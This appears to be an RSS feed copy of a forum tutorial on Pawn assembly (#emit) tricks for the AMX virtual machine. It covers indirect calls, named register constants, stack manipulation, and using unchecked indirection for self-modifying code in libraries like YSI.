<li><span style="font-family: courier new;" class="mycode_font">__args_offset</span> - The offset of the number of arguments passed to the current function (in bytes) in the current frame.<br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">__param0_offset</span> - The offset of the first parameter passed to the function, for example <span style="font-family: courier new;" class="mycode_font">playerid</span> in <span style="font-family: courier new;" class="mycode_font">GetPlayerName(playerid, name, size);</span>.<br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">__minus1</span> - Just the number <span style="font-family: courier new;" class="mycode_font">-1</span>, since <span style="font-family: courier new;" class="mycode_font">-</span> is broken in <span style="font-family: courier new;" class="mycode_font">#emit</span>.<br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">__cip</span> - The control register for the current instruction pointer (<span style="font-style: italic;" class="mycode_i">cip</span>).<br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">__2_cells</span> - The size in bytes of two cells.? Useful when adjusting other values to make it clear that it is just two cells generally, not an offset such as <span style="font-family: courier new;" class="mycode_font">__args_offset</span>.<br />
<br />
</li>
</ul>
<br />
<br />
<br />
So for example to load the number of parameters passed to the current function use:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>#emit LOAD.S.pri __args_offset <span style="color: Green;" class="mycode_color">// In bytes.</span><br />
<br />
#emit SHR.C.pri <span style="color: Orange;" class="mycode_color">2</span> <span style="color: Green;" class="mycode_color">// In cells.</span></blockquote><br />
<br />
<br />
Or using another YSI define:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>#emit LOAD.S.pri __args_offset <span style="color: Green;" class="mycode_color">// In bytes.</span><br />
<br />
#emit SHR.C.pri __COMPILER_CELL_SHIFT <span style="color: Green;" class="mycode_color">// In cells.</span></blockquote><br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Current stack address.</span></span></span></span></span></div>
<br />
<br />
<br />
This code will get the current address of the stack pointer (<span style="font-family: courier new;" class="mycode_font">stk</span>):<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LCTRL __stk</span></blockquote><br />
<br />
<br />
But it will get the value in to the <span style="font-family: courier new;" class="mycode_font">pri</span> register while sometimes you want it in the <span style="font-family: courier new;" class="mycode_font">alt</span> register instead.? You could load it and move it:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LCTRL __stk</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit MOVE.alt</span></blockquote><br />
<br />
<br />
But that takes two instructions and clobbers <span style="font-family: courier new;" class="mycode_font">pri</span>.? You could swap the registers about to preserve <span style="font-family: courier new;" class="mycode_font">pri</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit MOVE.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL __stk</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit XCHG</span></blockquote><br />
<br />
<br />
But that takes even more instructions.? Or you could just load the value straight in to <span style="font-family: courier new;" class="mycode_font">alt</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit STACK 0</span></blockquote><br />
<br />
<br />
This adjusts the stack size by naught cells.? It doesn?t get any bigger or smaller.? At first that seems pointless, but pawn-impl.pdf says this about <span style="font-family: courier new;" class="mycode_font">STACK</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Quote:</cite><span style="font-family: courier new;" class="mycode_font">ALT = STK</span>, <span style="font-family: courier new;" class="mycode_font">STK = STK  value</span></blockquote>
<br />
<br />
<br />
So the instruction first saves the current value of <span style="font-family: courier new;" class="mycode_font">stk</span> in <span style="font-family: courier new;" class="mycode_font">alt</span>, <span style="font-style: italic;" class="mycode_i">then</span> adjusts the size.? We only want the first part so we NOP the second part by making the size adjustment naught, yet still get the register being saved.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Masking with shifts.</span></span></span></span></span></div>
<br />
<br />
<br />
There is no <span style="font-family: courier new;" class="mycode_font">AND.C</span> so to do:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>a = b &amp; <span style="color: Orange;" class="mycode_color"><span style="color: Orange;" class="mycode_color">0</span>xFFFF<span style="color: Orange;" class="mycode_color">0000</span></span>;</blockquote><br />
<br />
<br />
In assembly is:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri b</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit CONST.alt? 0xFFFF0000</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit AND</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri a</span></blockquote><br />
<br />
<br />
That?s usually fine, but what if there is some data we want to keep in <span style="font-family: courier new;" class="mycode_font">alt</span>?? It could be saved to the stack:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri b</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit CONST.alt? 0xFFFF0000</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit AND</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri a</span></blockquote><br />
<br />
<br />
But that takes many extra instructions.? But this code is the same as:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>a = (b &gt;&gt;&gt; <span style="color: Orange;" class="mycode_color">16</span>) &lt;&lt; <span style="color: Orange;" class="mycode_color">16</span>;</blockquote><br />
<br />
<br />
<span style="font-family: courier new;" class="mycode_font">&gt;&gt;&gt;</span> and <span style="font-family: courier new;" class="mycode_font">&lt;&lt;</span> lose data, and there are <span style="font-family: courier new;" class="mycode_font">SHR.C</span> and <span style="font-family: courier new;" class="mycode_font">SHL.C</span> instructions:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri b</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SHR.C.pri? 16</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SHR.L.pri? 16</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri a</span></blockquote><br />
<br />
<br />
This is one cell longer than the first method, but two instructions shorter than the second and doesn?t clobber <span style="font-family: courier new;" class="mycode_font">alt</span>.? However, it doesn?t work for masks like <span style="font-family: courier new;" class="mycode_font">0x00FF0000</span> without yet another shift, at which point it probably isn?t worth the effort compared to <span style="font-family: courier new;" class="mycode_font">AND</span>, nor at all for any mask with naughts in like <span style="font-family: courier new;" class="mycode_font">0xF0F0F0F0</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri b</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SHR.L.pri? 8</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SHR.C.pri? 24</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SHR.L.pri? 16</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri a</span></blockquote><br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Escaping DAT</span></span></span></span></span></div>
<br />
<br />
<br />
The data segment is called <span style="font-family: courier new;" class="mycode_font">dat</span>, and is distinct from the code segment <span style="font-family: courier new;" class="mycode_font">cod</span>.? The former is where all data is stored, including the stack and heap, the latter is where all the code is stored.? But to write self-modifying code of the sort found in <span style="font-family: courier new;" class="mycode_font">@emit</span> we must write to <span style="font-family: courier new;" class="mycode_font">cod</span> instead of <span style="font-family: courier new;" class="mycode_font">dat</span>, so how is that done?? The instruction <span style="font-family: courier new;" class="mycode_font">STOR.pri</span> writes the value of the register <span style="font-family: courier new;" class="mycode_font">pri</span> to the given variable, but the VM checks that these variables are valid, i.e. that they are in some active part of global memory the stack.? But there is an oversight in the indirection instructions - <span style="font-family: courier new;" class="mycode_font">SREF.pri</span>, <span style="font-family: courier new;" class="mycode_font">LREF.S.alt</span>, etc.? These take a variable and check that this variable is within the memory segment, then use the value in that variable as a pointer to the location to write to.? However, crucially this second access is NOT checked for validity, so we can write anywhere.? The code section comes immediately before the data section so we can write there using negative addresses.? The offset of <span style="font-family: courier new;" class="mycode_font">dat</span> is found in <span style="font-family: courier new;" class="mycode_font">LCTRL 1</span>, the offset of <span style="font-family: courier new;" class="mycode_font">cod</span> is in <span style="font-family: courier new;" class="mycode_font">LCTRL 0</span>, so the two together give the relative offset of <span style="font-family: courier new;" class="mycode_font">cod</span> from <span style="font-family: courier new;" class="mycode_font">dat</span>.? For example to read the parameter of <span style="font-family: courier new;" class="mycode_font">HALT</span> at address <span style="font-family: courier new;" class="mycode_font">0</span> in <span style="font-family: courier new;" class="mycode_font">cod</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Blue;" class="mycode_color">new</span> ptr;<br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// ptr = cod - dat  4</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL __dat</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit MOVE.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL __cod</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SUB</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit ADD.C __1_cell</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri ptr</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// ptr = *ptr;</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LREF.S.pri ptr</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri ptr</span><br />
<br />
<br />
<br />
printf(<span style="color: Red;" class="mycode_color">"Default HALT parameter: %d"</span>, ptr);</blockquote><br />
<br />
<br />
This trick is basically the core of amx_assembly, indirection, YSI, and more.? Without it there would be no code re-writing at all of the sort needed for advanced techniques like <span style="font-family: courier new;" class="mycode_font">hook</span> and <span style="font-family: courier new;" class="mycode_font">inline</span>.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">You can invert strings.</span></span></span></span></span></div>
<br />
<br />
<br />
For some reason this code compiles:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>Func(<span style="color: DeepSkyBlue;" class="mycode_color">const</span> str[])<br />
<br />
{<br />
<br />
}<br />
<br />
<br />
<br />
main()<br />
<br />
{<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">new</span> str[] = <span style="color: Red;" class="mycode_color">"Hello"</span>;<br />
<br />
? ? Func(~str);<br />
<br />
}</blockquote><br />
<br />
<br />
This is likely an oversight in the compiler because the inversion of a string is gibberish, the code will probably just crash.? But inverting an inversion gives the original value back so this is fine:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>Func(<span style="color: DeepSkyBlue;" class="mycode_color">const</span> str[])<br />
<br />
{<br />
<br />
}<br />
<br />
<br />
<br />
main()<br />
<br />
{<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">new</span> str[] = <span style="color: Red;" class="mycode_color">"Hello"</span>;<br />
<br />
? ? Func(~~str);<br />
<br />
}</blockquote><br />
<br />
<br />
It might seem pointless but in assembly you end up with:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>asm Wrote:</cite>ADDR.pri str<br />
<br />
INVERT<br />
<br />
INVERT<br />
<br />
PUSH.pri</blockquote><br />
<br />
<br />
Still pointless, except for the fact that it is a very interesting sequence of instructions that can be scanned for.? This <span style="font-family: courier new;" class="mycode_font">INVERT/INVERT</span> pair is the core of how y_inline actually locates inline functions and their names in memory (searching through the <span style="font-family: courier new;" class="mycode_font">dat</span> segment with <span style="font-family: courier new;" class="mycode_font">LREF</span> as detailed above).<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Labels reset the stack.</span></span></span></span></span></div>
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>Func()<br />
<br />
{<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">new</span> a = <span style="color: Orange;" class="mycode_color">4</span>;<br />
<br />
label:<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> a;<br />
<br />
}</blockquote><br />
<br />
<br />
Compiles as:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>asm Wrote:</cite>PROC<br />
<br />
PUSH.C 4<br />
<br />
LCRTL 5<br />
<br />
ADD.C -4<br />
<br />
SCTRL 4<br />
<br />
LOAD.S.pri -4<br />
<br />
STACK 4<br />
<br />
RETN</blockquote><br />
<br />
<br />
So we push something to the stack, then reset the stack.? This is exploited in the <span style="font-family: courier new;" class="mycode_font">decl</span> keyword which declares a large variable without initialising it:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>decl a[<span style="color: Orange;" class="mycode_color">128</span>];</blockquote><br />
<br />
<br />
Becomes:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>goto after_a;<br />
<br />
<span style="color: Blue;" class="mycode_color">new</span> a[<span style="color: Orange;" class="mycode_color">128</span>];<br />
<br />
after_a:</blockquote><br />
<br />
<br />
Which compiles as:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>asm Wrote:</cite>JUMP after_a<br />
<br />
STACK -512<br />
<br />
ZERO.pri<br />
<br />
FILL 512<br />
<br />
after_a:<br />
<br />
LCTRL 5<br />
<br />
ADD.C -512<br />
<br />
SCTRL 5</blockquote><br />
<br />
<br />
Most importantly the <span style="font-family: courier new;" class="mycode_font">FILL</span> opcode is skipped, but because labels don?t modify scope <span style="font-family: courier new;" class="mycode_font">a</span> still exists.<br />
<br />
<br />
<br />
There is at least one bit of assembly in YSI where the <span style="font-family: courier new;" class="mycode_font">LCTRL</span>/<span style="font-family: courier new;" class="mycode_font">SCTRL</span> pair generated by a label are important to functionality (<span style="font-family: courier new;" class="mycode_font">Inline_NumArgs</span> to cancel out a <span style="font-family: courier new;" class="mycode_font">PUSH.pri</span> elsewhere in the function), but they?re extremely rare for one reason - you can only jump backwards in assembly, future labels can?t be used.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Starting a function just to end it.</span></span></span></span></span></div>
<br />
<br />
<br />
Consider the following function:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite>sprintf(<span style="color: DeepSkyBlue;" class="mycode_color">const</span> fmat[], {Float, _}:...)<br />
<br />
{<br />
<br />
? ? <span style="color: DeepSkyBlue;" class="mycode_color">static</span> target[<span style="color: Orange;" class="mycode_color">144</span>];<br />
<br />
? ? format(target, sizeof (target), fmat, ???);<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> target;<br />
<br />
}</blockquote><br />
<br />
<br />
There are four main ways to implement this function and forward all the parameters - 1) a macro, 2) y_va, 3) copy all the parameters as in the very common bit of assembly everyone copies, 4) the clever way.? We already have most of the parameters for <span style="font-family: courier new;" class="mycode_font">format</span> on the stack, we just need to add two more.? To call a function the number of parameters in bytes is pushed, then the function is called with <span style="font-family: courier new;" class="mycode_font">CALL</span>, which adds the return address to the stack and jumps to the address specified.? The first thing in a function is then <span style="font-family: courier new;" class="mycode_font">PROC</span>, which saves the current frame pointer to the stack and sets up a new frame.? So at the moment that <span style="font-family: courier new;" class="mycode_font">format</span> is called in this function the stack looks like:<br />
<br />
<br />
<ul class="mycode_list"><li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">fmat</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">arg_count</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">return_address</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">frame_pointer</span><br />
<br />
</li>
</ul>
<br />
<br />
<br />
<span style="font-family: courier new;" class="mycode_font">target</span> is declared <span style="font-family: courier new;" class="mycode_font">static</span> in this example to make the stack much simpler.? So really to call <span style="font-family: courier new;" class="mycode_font">format</span> we need:<br />
<br />
<br />
<ul class="mycode_list"><li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">???</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">fmat</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">sizeof (target)</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">target</span><br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">arg_count  8</span><br />
<br />
</li>
</ul>
<br />
<br />
<br />
Most of that data is already there if we can just modify the rest:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Green;" class="mycode_color">// Remove the frame pointer from the stack and use it.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SCTRL 5</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Remove the return address from the stack.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.alt</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Remove the arg count from the stack.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.pri</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Push the two extra parameters.</span><br />
<br />
<span style="color: DeepSkyBlue;" class="mycode_color">const</span> size = sizeof (target) * cellbytes;<br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.C size</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.C target</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Update and push the parameter count.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit ADD.C __2_cells</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.pri</span></blockquote><br />
<br />
<br />
We have now modified the stack to look how we want, put the return address in <span style="font-family: courier new;" class="mycode_font">alt</span>, and set the frame pointer back to what it used to be.? So call <span style="font-family: courier new;" class="mycode_font">format</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit SYSREQ.C format</span></blockquote><br />
<br />
<br />
After <span style="font-family: courier new;" class="mycode_font">format</span> returns we need to restore the stack to how is was without clobbering <span style="font-family: courier new;" class="mycode_font">alt</span>, which still holds the return address we need, since <span style="font-family: courier new;" class="mycode_font">SYSREQ.C</span> doesn?t touch that register:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Green;" class="mycode_color">// Remove and reset the count again.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.pri</span><br />
<br />
#emit ADD.C __m<span style="color: Orange;" class="mycode_color">2</span>_cells <span style="color: Green;" class="mycode_color">// -8</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Remove the next cell without altering any registers (tricky).</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SWAP.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.alt</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Put the count back on the stack.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SWAP.pri</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Put the return address back.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.alt</span></blockquote><br />
<br />
<br />
Now the part this entire section has been building to - we need to get the frame pointer back out and back on to the stack.? We used <span style="font-family: courier new;" class="mycode_font">SCTRL</span> to save it (we could have saved it to a global variable, but why waste one when the control register is right there, plus a global variable might not work if the native calls a callback), so the obvious code is:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LCTRL 5</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL 4</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SCTRL 5</span></blockquote><br />
<br />
<br />
But there?s an instruction that does all of this in one go:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit PROC</span></blockquote><br />
<br />
<br />
So you may sometimes see <span style="font-family: courier new;" class="mycode_font">PROC</span> randomly in the middle of a function, and this is what it is doing.? In fact it isn?t unusual to see:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit PROC</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit RETN</span></blockquote><br />
<br />
<br />
Which is the name of the section - we call <span style="font-family: courier new;" class="mycode_font">PROC</span> just to set up the stack correctly for calling <span style="font-family: courier new;" class="mycode_font">RETN</span>.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">The stack doesn?t even need restoring.</span></span></span></span></span></div>
<br />
<br />
<br />
Normally after calling a native you need to remove all the parameters pushed for it, but you don?t after calling a normal function - <span style="font-family: courier new;" class="mycode_font">RETN</span> does that for you.? In the above example we needed to restore the stack to how it was before <span style="font-family: courier new;" class="mycode_font">format</span> was called, but sometimes you don?t need to because the native is the last thing done in the function.? In that case we can just exploit <span style="font-family: courier new;" class="mycode_font">RETN</span> to remove all the extra parameters we added too:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Green;" class="mycode_color">// As before.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SCTRL 5</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.alt</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit POP.pri</span><br />
<br />
<span style="color: DeepSkyBlue;" class="mycode_color">const</span> size = sizeof (target) * cellbytes;<br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.C size</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.C target</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit ADD.C __2_cells</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SYSREQ.C format</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Leave the two extra parameters on the stack and just pretend they were passed to us.</span><br />
<br />
<span style="color: Green;" class="mycode_color">// Push the return address again.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.alt</span><br />
<br />
<br />
<br />
<span style="color: Green;" class="mycode_color">// Put the frame pointer back and end the function.</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PROC</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit RETN</span></blockquote>]]></description>
			<content:encoded><![CDATA[Over the years of writing a lot of assembly in pawn I?ve developed a few tricks for things.? These are just some of them.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Calling a function by variable.</span></span></span></span></span></div>
<br />
<br />
<br />
Normally to call a function you use <span style="font-family: courier new;" class="mycode_font">CALL</span>, but that only takes a constant, not a variable.? If you want to load the target address from a variable you instead need to use <span style="font-family: courier new;" class="mycode_font">SCTRL</span> to set the target.? But <span style="font-family: courier new;" class="mycode_font">CALL</span> does some other bits as well like setting the return address, which must be done manually with <span style="font-family: courier new;" class="mycode_font">SCTRL</span> using <span style="font-family: courier new;" class="mycode_font">LCTRL</span>.? <span style="font-family: courier new;" class="mycode_font">LCTRL</span> gets the <span style="font-style: italic;" class="mycode_i">current</span> instruction pointer, but the return address should be the instruction after the <span style="font-family: courier new;" class="mycode_font">SCTRL</span>.? With this snippet it turns out that that return address is exactly nine cells later, so the code to call a function stored in a local variable called <span style="font-family: courier new;" class="mycode_font">func</span> is:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LCTRL? ? ? 6</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit ADD.C? ? ? 36</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL? ? ? 8</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri func</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SCTRL? ? ? 6</span></blockquote><br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Control register 8</span></span></span></span></span></div>
<br />
<br />
<br />
If you?re using the JIT plugin the return address needs to be modified to a new address space.? This is what <span style="font-family: courier new;" class="mycode_font">LCTRL 8</span> does.? It takes the AMX address in <span style="font-family: courier new;" class="mycode_font">pri</span> and converts it to a JIT address.? However if you?re not using the JIT plugin there is no register eight and <span style="font-family: courier new;" class="mycode_font">pri</span> remains the same.? So always using it is perfectly safe - either the address will be correctly updated or it won?t change at all.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Named registers.</span></span></span></span></span></div>
<br />
<br />
<br />
That code is already a bit unreadable.? I said the return address is nine cells later, yet <span style="font-family: courier new;" class="mycode_font">9</span> doesn?t appear anywhere in the code.? Also what are <span style="font-family: courier new;" class="mycode_font">6</span> and <span style="font-family: courier new;" class="mycode_font">8</span> doing?? Fortunately <span style="font-family: courier new;" class="mycode_font">const</span> values work in <span style="font-family: courier new;" class="mycode_font">#emit</span>, so we can name some of these constants and make them more readable.? The previous snippet thus becomes:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LCTRL? ? ? __cip</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit ADD.C? ? ? __9_cells</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL? ? ? __jmp</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri ptr</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SCTRL? ? ? __cip</span></blockquote><br />
<br />
<br />
[See this file]() for the full list of constant offsets defined in YSI, there are too many to list here.? But a few highlighted ones are:<br />
<br />
<br />
<ul class="mycode_list"><li><span style="font-family: courier new;" class="mycode_font">__frame_offset</span> - The offset of the previous frame?s pointer in the current frame.? Actually just <span style="font-family: courier new;" class="mycode_font">0</span>, but still named to be clear.<br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">__return_offset</span> - The offset of the return address in the current frame (the value pushed in the code above).<br />
<br />
</li>
